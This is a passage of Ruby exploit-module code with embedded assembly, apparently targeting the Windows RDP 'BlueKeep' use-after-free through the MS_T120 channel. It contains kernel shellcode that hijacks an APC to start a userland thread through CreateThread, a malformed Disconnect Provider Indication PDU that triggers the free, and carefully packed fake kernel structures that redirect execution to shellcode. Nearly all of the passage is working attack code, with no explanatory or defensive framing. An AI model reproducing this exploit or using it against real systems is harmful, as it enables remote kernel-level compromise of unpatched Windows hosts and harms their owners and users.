jnz _find_kernel32_dll_loop

;int3
mov r15, [rax+0x20]
mov edi, #{createthread_hash}
call get_proc_addr

; save CreateThread address to SystemArgument1
mov [rbx], rax

_kernel_kapc_routine_exit:
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+#{data_queueing_kapc_offset}], cl
; restore IRQL to APC_LEVEL
mov cl, 1
mov cr8, rcx

pop r15
pop rsi
pop rdi
pop rbx
pop rbp
ret

userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
xchg rdx, rax ; rdx is CreateThread address passed from kernel
xor ecx, ecx ; lpThreadAttributes = NULL
push rcx ; lpThreadId = NULL
push rcx ; dwCreationFlags = 0
mov r9, rcx ; lpParameter = NULL
lea r8, [rel userland_payload] ; lpStartAddr
mov edx, ecx ; dwStackSize = 0
sub rsp, 0x20
call rax
add rsp, 0x30
ret

userland_payload:
^

[
KERNELMODE_EGG,
assemble_with_fixups(asm)
].pack('<Qa*')
end

def create_free_trigger(chan_user_id, chan_id)
# malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)
vprint_status("Creating free trigger for user #{chan_user_id} on channel #{chan_id}")
# The extra bytes on the end of the body is what causes the bad things to happen
body = "\x00\x00\x00\x00\x00\x00\x00\x00\x02" + "\x00" * 22
rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)
end

def create_exploit_channel_buffer(target_addr)
overspray_addr = target_addr + 0x2000
shellcode_vtbl = target_addr + HEADER_SIZE
magic_value1 = overspray_addr + 0x810
magic_value2 = overspray_addr + 0x48
magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE

# first 0x38 bytes are used by DATA PDU packet
# exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE
# http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm
[
[
# SystemResourceList (2 pointers, each 8 bytes)
# Pointer to OWNER_ENTRY (8 bytes)
# ActiveCount (SHORT, 2 bytes)
# Flag (WORD, 2 bytes)
# Padding (BYTE[4], 4 bytes) x64 only
0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
magic_value2, # OwnerThread (ULONG, 8 bytes)
magic_value2, # TableSize (ULONG, 8 bytes)
0x0, # ActiveEntries (DWORD, 4 bytes)
0x0, # ContenttionCount (DWORD, 4 bytes)
0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
0x0, # Reserved2 (PVOID, 8 bytes) x64 only
magic_value2, # Address (PVOID, 8 bytes)
0x0, # SpinLock (UINT_PTR, 8 bytes)
].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
[
magic_value2, # SystemResourceList (2 pointers, each 8 bytes)
magic_value2, # --------------------
0x0, # Pointer to OWNER_ENTRY (8 bytes)
0x0, # ActiveCount (SHORT, 2 bytes)
0x0, # Flag (WORD, 2 bytes)
0x0, # Padding (BYTE[4], 4 bytes) x64 only
0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
magic_value2, # OwnerThread (ULONG, 8 bytes)
magic_value2, # TableSize (ULONG, 8 bytes)
0x0, # ActiveEntries (DWORD, 4 bytes)
0x0, # ContenttionCount (DWORD, 4 bytes)
0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
0x0, # Reserved2 (PVOID, 8 bytes) x64 only
magic_value2, # Address (PVOID, 8 bytes)
0x0, # SpinLock (UINT_PTR, 8 bytes)
].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
[
0x1F, # ClassOffset (DWORD, 4 bytes)
0x0, # bindStatus (DWORD, 4 bytes)
0x72, # lockCount1 (QWORD, 8 bytes)
magic_value3, # connection (QWORD, 8 bytes)
shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)
0x5, # channelClass (DWORD, 4 bytes)
"MS_T120\x00".encode('ASCII'), # channelName (BYTE[8], 8 bytes)
0x1F, # channelIndex (DWORD, 4 bytes)
magic_value1, # channels (QWORD, 8 bytes)
magic_value1, # connChannelsAddr (POINTER, 8 bytes)
magic_value1, # list1 (QWORD, 8 bytes)
magic_value1, # list1 (QWORD, 8 bytes)
magic_value1, # list2 (QWORD, 8 bytes)
magic_value1, # list2 (QWORD, 8 bytes)
0x65756c62, # inputBufferLen (DWORD, 4 bytes)
0x7065656b, # inputBufferLen (DWORD, 4 bytes)
magic_value1, # connResrouce (QWORD, 8 bytes)
0x65756c62, # lockCount158 (DWORD, 4 bytes)
0x7065656b, # dword15C (DWORD, 4 bytes)
].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')
].join('')
end

end
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